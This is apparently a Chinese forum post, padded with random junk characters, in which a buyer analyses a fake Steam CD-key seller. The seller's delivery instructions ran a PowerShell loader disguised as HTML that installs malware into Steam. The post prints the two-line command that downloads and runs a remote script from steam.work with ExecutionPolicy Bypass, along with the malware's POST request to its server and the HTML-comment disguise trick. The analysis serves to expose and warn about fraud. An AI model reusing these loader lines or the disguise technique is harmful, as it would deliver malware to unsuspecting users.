|
|
刚刚去买了个 cdkey 准备送给朋友,结果一看发货介绍感觉有点不对劲:
2 f3 Q/ I) ]. e7 ~) w! v/ c% W" \
/ H7 [( W6 o& X9 |8 r+ {
8 t" m: r- M# ~8 v啥啊,irm iex 这不是经典的从网络获取脚本并执行的操作吗,怎么领个激活码还要搞这?7 ]) D- y8 z) x4 {! r+ A
) q$ y, k6 a" V* y6 ?
我一开始还以为是自动安装加速器,商家还怪好的捏,直到我激活不了,把这脚本拉下来看了看:4 Y+ F+ J# o: [5 _8 w$ ^
 & C" ~2 t) Q0 l% M# ] ^5 O# Z. y% q
好家伙 这玩意整了个极其有欺骗性的东西,因为powershell的多行注释正好是<# #>,正好 HTML 文件的开头是 <!DOCTYPE html> 这鸟人给他改成 <#!DOCTYPE html> 就变成 powershell 的注释了.. 我都差点没看出来..网页还做了 UA 判断和跳转,真是够阴损$ n" }0 Y% I" d1 X
. d( t) F) i3 q) k, O那么真实的代码就只剩两行了:
7 |* }8 u1 y6 [1 h) ?2 r3 I[PowerShell] 纯文本查看 复制代码4 R' g8 A! I# O8 {$ n @$ Y* c
?5 Z2 T; d& }! J
16 d4 U& y, x. W4 X
20 W9 }/ S7 [1 n2 J# v
| irm steam.work/pwsDwFile/new1 -OutFile x.ps1' }- N, S# B* w" ]& o" ~0 O
powershell.exe -ExecutionPolicy Bypass -File x.ps1;
$ i$ t3 W; Q, x: g0 o) U8 L! H6 J! m; a% D; V/ z
| $ B% ~5 p" j* |# z, d
3 b: Y" K/ H9 r6 V( O& l- J4 F) ]7 l( S: `3 m6 r0 ^) g0 t
! Z; l+ ]6 g& q
$ a# N$ ~5 Z3 `0 N! C W+ c( J看得出来,又是下脚本...我们把这玩意也下下来看一眼:" \5 C7 D5 q0 O( U; l8 J% W+ K
3 o; H0 }. {* C, l
我怎么兑换个激活码你还给我注入上 Steam了!有病啊!
+ K) k" I: d5 c% C, ?- m8 s7 N那么我们便不得不好奇一下注入的文件里到底干了啥呢,我们下下来拖进静态分析,但是里面几乎啥都没有,只有两个有意思的地方:
: f! l* T+ [" K. V7 r3 O1. 把危险函数 VirtualAlloc 等 伪装成普通函数:7 X) ^* Z" U" p( q5 C

$ B V# u% G- B |+ F8 x2. 里面有 zlib.inflate (图里打错了), \9 l! p* l9 _
6 o! O" Q: V" q$ d( \
! t7 e7 f$ c- G) {, }看上去他是在尝试现场解压某种payload来执行啊!我们直接开一个 Windows Sandbox 来动态调试一下:
* k! j2 O2 e9 o0 _ D: h打开 x32dbg,在 zlib.inflate处打断点,很容易就拿到解压出的东西4 y8 B( }- ]: b9 z

* w( h& s5 {, u0 F[eax + 0x4 * 3] -> 解压出缓冲区指针8 t1 F+ A$ ^$ y% n0 v4 j
[eax + 0x4 * 5] -> 解压出数据长度
( n5 X1 [$ S6 y7 ]+ P: \& |不看不知道,一看 MZ 开头,PE格式没跑了,直接一个 savefile 把它存下来,拖进 Binary Ninja
& F, D3 V2 T5 n% A# G; R! C这个文件也有点诡异,有三个 .text 段里面两个都是空的,还有一个 XRef 几乎扫不出来...总之先看一眼 IAT:
4 C8 q- C+ l7 D
/ B0 h% Y1 R/ P6 W0 o怎么还引用了一个 winsqlite 啊,看起来像是打算操作 Steam 的数据库?) z/ z% ^2 N* { R

, |7 l; ?" P% {5 K& e3 P这里还有一些十足诡异的找不到引用的函数,看上去是加密的字符串: {9 l4 M M) S5 t9 A. @
: M6 O6 ^/ ^( y* q2 w/ |1 m(接前文)1 J% E, g" R# ?; g' V) s0 U
那么自然我们现在应该给导出的仅有的几个函数打一下断点看看;首当其冲怀疑的就是这个网络函数/ Q7 n# K! k" N, {
直接先在该 dll 加载前打断点,暂停后在InternetOpenA打断点;发现有反调试检测,用 ScyllaHide Basic 轻松过掉8 P. x0 h$ n: w5 m/ y- ^
然后就断下来了,我们来看一眼- g7 q2 E& ^. M7 K* }& A, N
d7 V, ~3 E3 h6 w- w+ h
直接找到病毒开始请求配置的地方和端点了,大收获啊;但是我们直接访问 http://api.steam.work/api/integral/vs ,他是返回 403 Unauthorized 的,看来可能有什么 UA,POST body之类的,继续下断点查一下
# {! F5 o9 `* w1 Z, [: A在InternetOpenA InternetConnectA HttpOpenRequestA HttpSendRequestA,成功还原整个请求:
0 N# P; U# a, W' N" Q' W% I) b2 ?% L, m- Z( M
HTTP1.1 POST http://api.steam.work/api/integral/vs4 E/ {) [ u2 N% Z5 G
Referer: version1 T) l' B7 _1 D9 d) I- j# s
user-agent: steam! |2 a5 o* W: Y: B/ y6 @8 d2 ]+ X
{"sign":"ckv"}2 n: p0 p! H% I# s: Q2 N
- g6 d$ a7 p. U2 Y" p7 t
# ~+ o. p# {. k% O6 I

& ~; Y! ~1 z1 J5 h% j# `- s& j" `- m5 V. {6 E" ^ Y6 @- \+ \
返回值拿到手,只有一串不知道是什么的 hex;我们先再看看其他几个点 ^, l g5 v7 h- n! E. p9 i
sqlite这边下断点以后啥也没有,可能是激活的时候才会操作(我用的Windows Sandbox,不知道为什么打不开Steam……)
, t. K' Y& l. }" g; X+ a0 C
& L: y& a2 M! u/ q& X于是转移到一台实机上继续分析。
4 B! ]) `+ d# ^! l* |, a* a) \) g7 D, a/ x
) R( s" z8 ~. }: l直接拿它给的虚假激活码来激活,可以直接断在 HTTP 请求点1 Q- ]8 z- M8 |3 L
把请求掏出来看看:
8 b- e3 W# I% E' ]6 x3 ^
0 B9 ]* K( w( \; ?5 F$ N5 S看起来是成功了,返回一个 code 和一个 data;! W4 ^: Q8 I3 E! V! Q8 @
这个 ID 又是啥?: J" p# @5 @) u% u2 e% U1 E2 K

6 n" l! c5 B4 ]2 D* P/ _哦,哈迪斯的 App ID" W( H. e% _. F4 q7 {! c& ? E
那么接着调试,在一通奇奇怪怪的网络请求之后,它下下来一个 8k 的文件到 steam 的目录里
$ p8 S' h5 {4 {" F2 ~$ L4 p' A3 TC:\Program Files (x86)\Steam\package\data+ p" L- ~5 }1 t' s5 _
/ L( v0 Y* t: l+ _' ?8 Z
这是干啥的呢?看看我们正常的 Steam 这里有什么...居然什么都没有!7 B$ O0 X% B2 ]' n& K) k4 F9 Y
那么就说明,这个文件是病毒专用的了;我们直接 ImHex 打开' T" [9 \) \0 P% m+ K

8 k* C; P( b* O' x& |0 ~居然是个数据库!怪不得他要链 winsqlite;那这个数据库里有啥?我们丢进查看器:
/ b2 k% ?) ]& Z% |' X5 h
5 Q. D" f2 T0 r有个appid,和两个不认识的hex;把键名拿去搜搜看:
* R5 R0 i# Z2 i0 o5 ^ . c: q9 v7 L: }/ |+ v5 l7 v

1 R( F2 N: B9 Q! [, I! T2 o7 h原来是这样!这是一种叫做“清单入库”的已经广为流传的Steam免费入库方式,结果被不法商家用于欺诈消费者,十分恶劣!
% V: X8 ]8 b- l4 G, |4 X6 _8 A' d: f" q: Q4 A% l+ O+ O
还有一些相关信息,大家可以自行查看→ https://github.com/pjy612/SteamManifestCache/discussions/374 https://github.com/pjy612/SteamManifestCache/wiki/DecryptionKey1 W' Q7 W O2 c
' d' A7 z9 h8 Z7 J, I. Y/ P
| & V+ b v8 j% E n) d6 ?
/ \$ |4 r5 L+ l @
! w: A. C& E7 N( z
+ p9 Z! j6 {7 e6 K. x3 @& f
! O3 m2 C: j: b8 m" }" _
# Z0 \$ d% c0 f9 q% b( X/ l: f
# f( X/ C0 E& b: e k
s/ K$ s: O) l' g4 r% F& Z% i7 ~
0 K4 |3 R6 P5 C& t
# [. y; K( B5 H/ R |
|